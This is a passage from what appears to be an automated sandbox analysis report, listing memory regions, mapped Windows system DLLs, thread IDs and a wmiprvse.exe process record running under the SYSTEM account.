"\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2283 start_va = 0x7fefc0a0000 end_va = 0x7fefc0eafff entry_point = 0x7fefc0a0000 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 2284 start_va = 0x7fefc510000 end_va = 0x7fefc63bfff entry_point = 0x7fefc510000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 2285 start_va = 0x7fefcb80000 end_va = 0x7fefcbabfff entry_point = 0x7fefcb80000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 2286 start_va = 0x7fefcbb0000 end_va = 0x7fefcd45fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "wevtsvc.dll" filename = "\\Windows\\System32\\wevtsvc.dll" (normalized: "c:\\windows\\system32\\wevtsvc.dll") Region: id = 2287 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2288 start_va = 0x7fefcd60000 end_va = 0x7fefce1afff entry_point = 0x7fefcd60000 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 2289 start_va = 0x7fefce20000 end_va = 0x7fefce26fff entry_point = 0x7fefce20000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2290 start_va = 0x7fefcf10000 end_va = 0x7fefcf2afff entry_point = 0x7fefcf10000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2291 start_va = 0x7fefcf30000 end_va = 0x7fefcf4dfff entry_point = 0x7fefcf30000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2292 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2293 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2294 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2295 start_va = 0x7fefd410000 end_va = 0x7fefd416fff entry_point = 0x7fefd410000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2296 start_va = 0x7fefd420000 end_va = 0x7fefd474fff entry_point = 0x7fefd420000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2297 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2298 start_va = 0x7fefd6b0000 end_va = 0x7fefd71cfff entry_point = 0x7fefd6b0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 2299 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2300 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2301 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2302 start_va = 0x7fefdb30000 end_va = 0x7fefdb6cfff entry_point = 0x7fefdb30000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2303 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2304 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2305 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2306 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2307 start_va = 0x7fefdd20000 end_va = 0x7fefdd59fff entry_point = 0x7fefdd20000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 2308 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2309 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2310 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2311 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2312 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2313 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2314 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2315 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2316 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2317 start_va = 0x7feff2f0000 end_va = 0x7feff4c6fff entry_point = 0x7feff2f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 2318 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2319 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2320 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2321 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2322 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2323 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2324 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2325 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2326 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2327 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2328 start_va = 0x7fffff86000 end_va = 0x7fffff87fff entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 2329 start_va = 0x7fffff88000 end_va = 0x7fffff89fff entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 2330 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 2331 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 2332 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 2333 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 2334 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 2335 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 2336 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2337 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 2338 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 2339 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2340 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2341 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2342 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2343 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2344 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2345 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 2346 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 2347 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 2348 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 2349 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Thread: id = 189 os_tid = 0x8e0 Thread: id = 190 os_tid = 0xbc4 Thread: id = 191 os_tid = 0xb98 Thread: id = 192 os_tid = 0x9fc Thread: id = 193 os_tid = 0x308 Thread: id = 194 os_tid = 0x5c0 Thread: id = 195 os_tid = 0x210 Thread: id = 196 os_tid = 0x618 Thread: id = 197 os_tid = 0x614 Thread: id = 198 os_tid = 0x610 Thread: id = 199 os_tid = 0x5d4 Thread: id = 200 os_tid = 0x448 Thread: id = 201 os_tid = 0x438 Thread: id = 202 os_tid = 0x3bc Thread: id = 203 os_tid = 0x3b4 Thread: id = 204 os_tid = 0x3a4 Thread: id = 205 os_tid = 0x304 Thread: id = 206 os_tid = 0x300 Thread: id = 207 os_tid = 0x2d8 Thread: id = 208 os_tid = 0x2d0 Thread: id = 226 os_tid = 0xae0 Thread: id = 228 os_tid = 0xadc Thread: id = 230 os_tid = 0x630 Thread: id = 233 os_tid = 0x330 Thread: id = 235 os_tid = 0xafc Thread: id = 237 os_tid = 0xaf0 Thread: id = 239 os_tid = 0x3c0 Thread: id = 241 os_tid = 0x24c Thread: id = 243 os_tid = 0x114 Thread: id = 247 os_tid = 0x460 Thread: id = 311 os_tid = 0x91c Thread: id = 335 os_tid = 0x8ac Process: id = "19" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x172d000" os_pid = "0xa34" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x36c" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d435" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 2373 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2374 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2375 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2376 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2377 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2378 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2379 start_va = 0xd0000 end_va = 0xd6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 2380 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2381 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2382 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2383 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 2384 start_va = 0x150000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2385 start_va = 0x250000 end_va = 0x34ffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 2386 start_va = 0x350000 end_va = 0x44ffff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 2387 start_va = 0x450000 end_va = 0x50ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 2388 start_va = 0x540000 end_va = 0x54ffff entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2389 start_va = 0x550000 end_va = 0x6d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 2390 start_va = 0x6e0000 end_va = 0x860fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 2391 start_va = 0x8a0000 end_va = 0x91ffff entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 2392 start_va = 0x920000 end_va = 0x99ffff entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 2393 start_va = 0x9a0000 end_va = 0xa9ffff entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 2394 start_va = 0xaa0000 end_va = 0xd6efff entry_point = 0xaa0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2395 start_va = 0xd70000 end_va = 0x1162fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d70000" filename = "" Region: id = 2396 start_va = 0x1240000 end_va = 0x12bffff entry_point = 0x0 region_type = private name = "private_0x0000000001240000" filename = "" Region: id = 2397 start_va = 0x1390000 end_va = 0x140ffff entry_point = 0x0 region_type = private name = "private_0x0000000001390000" filename = "" Region: id = 2398 start_va = 0x1500000 end_va = 0x157ffff entry_point = 0x0 region_type = private name = "private_0x0000000001500000" filename = "" Region: id = 2399 start_va = 0x15f0000 end_va = 0x166ffff entry_point = 0x0 region_type = private name = "private_0x00000000015f0000" filename = "" Region: id = 2400 start_va = 0x1680000 end_va = 0x16fffff entry_point = 0x0 region_type = private name = "private_0x0000000001680000" filename = "" Region: id = 2401 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2402 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2403 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2404 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2405 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2406 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2407 start_va = 0xff190000 end_va = 0xff1eefff entry_point = 0xff190000 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 2408 start_va = 0x7fef5ba0000 end_va = 0x7fef5bb5fff entry_point = 0x7fef5ba0000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 2409 start_va = 0x7fef5e10000 end_va = 0x7fef5e23fff entry_point = 0x7fef5e10000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 2410 start_va = 0x7fef6370000 end_va = 0x7fef6396fff entry_point = 0x7fef6370000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 2411 start_va = 0x7fef63a0000 end_va = 0x7fef6481fff entry_point = 0x7fef63a0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 2412 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2413 start_va = 0x7fefbcd0000 end_va = 0x7fefbd55fff entry_point = 0x7fefbcd0000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 2414 start_va = 0x7fefbf00000 end_va = 0x7fefbf0efff entry_point = 0x7fefbf00000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2415 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2416 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2417 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2418 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2419 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2420 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2421 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2422 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2423 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2424 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2425 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2426 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2427 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2428 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2429 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2430 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2431 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2432 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2433 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2434 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2435 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: 